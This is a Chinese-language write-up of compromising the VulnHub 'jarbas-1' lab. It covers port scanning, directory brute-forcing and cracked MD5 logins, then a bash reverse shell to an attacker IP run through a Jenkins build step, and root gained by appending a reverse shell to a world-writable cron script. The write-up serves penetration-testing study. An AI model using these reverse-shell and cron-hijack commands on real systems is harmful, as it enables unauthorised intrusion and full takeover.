【甄选靶场】Vulnhub百个项目渗透——项目五十四：jarbas-1（类git反弹shell,计划任务提权）

---

前言

本文章仅用作实验学习实验环境均为自行搭建的公开vuinhub靶场仅使用kali虚拟机作为操作学习工具。本文仅用作学习记录不做任何导向。请勿在现实环境中模仿操作。

---

信息收集

首先进行存活主机的探测

nmap -sP 192.168.247.0/24

找到了.146的主机
而后进行服务探测

nmap -p- --min-rate 10000 -A 192.168.247.146

22/tcp   open  ssh     OpenSSH 7.4 (protocol 2.0)
80/tcp   open  http    Apache httpd 2.4.6 ((CentOS) PHP/5.4.16)
|_http-title: Jarbas - O Seu Mordomo Virtual!
| http-methods: 
|_  Potentially risky methods: TRACE
|_http-server-header: Apache/2.4.6 (CentOS) PHP/5.4.16
3306/tcp open  mysql   MariaDB (unauthorized)
8080/tcp open  http    Jetty 9.4.z-SNAPSHOT
|_http-title: Site doesn't have a title (text/html;charset=utf-8).
| http-robots.txt: 1 disallowed entry 
|_/
|_http-server-header: Jetty(9.4.z-SNAPSHOT)

总结一下得知的信息如下

端口 22OpenSSH 7.4
端口 80Apache httpd 2.4.6
3306 端口mysql (MariaDB)
端口 8080httpJetty 9.4.z-SNAPSHOT 

对于80端口没有现成的exp并且谷歌能搜的东西相对较少所以不考虑exp利用而后就是3306无法外部连接所以同样不管
ssh版本没有可利用的exp,8080端口存在用户登录
我将尝试弱口令无效所以开始目录爆破

gobuster dir -u http://192.168.247.146/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x html,txt,php -t 10

得到了access.html
出现了很多的md5进行破解

得到md5/明文凭据如下

tiago:5978a63b4654c73c60fa24f836386d87
trindade:f463f63616cb3f1e81ce46b39f882fd5
eder:9b38e2b1e8b12f426b0d208a7ab6cb98

tiago: italia99
trindade: marianna
eder: vipsu

最终eder: vipsu可以成功登陆

jenkins

这是一个类github的项目管理通常来说根据已经遇到的类github的中间件总结出可能漏洞点直接的命令执行对现存的任务进行分支合并如果是建站的任务那么可以分支合并来避开主线无权修改的问题从而分支合并一个shell而后达成反弹shell

那么我将按照常规的寻找步骤看看新建一个任务我会注意观察各个选项看能不能执行命令寻找过程就不放图了直接放最终的成功的路径

此处可以执行命令

 /bin/bash -i >& /dev/tcp/192.168.247.130/4444 0>&1 

而后点击立即构建
本地接受到

提权

我首先利用了常规的手工枚举方法我找到了计划任务并且细致查看之后发现他是全局可写并且是root权限那么我将写一个bash命令而后等待连接

cat /etc/crontab

写入一个命令

echo "/bin/bash -i >& /dev/tcp/192.168.247.130/4443 0>&1" >> /etc/script/CleaningScript.sh 

本地获得root权限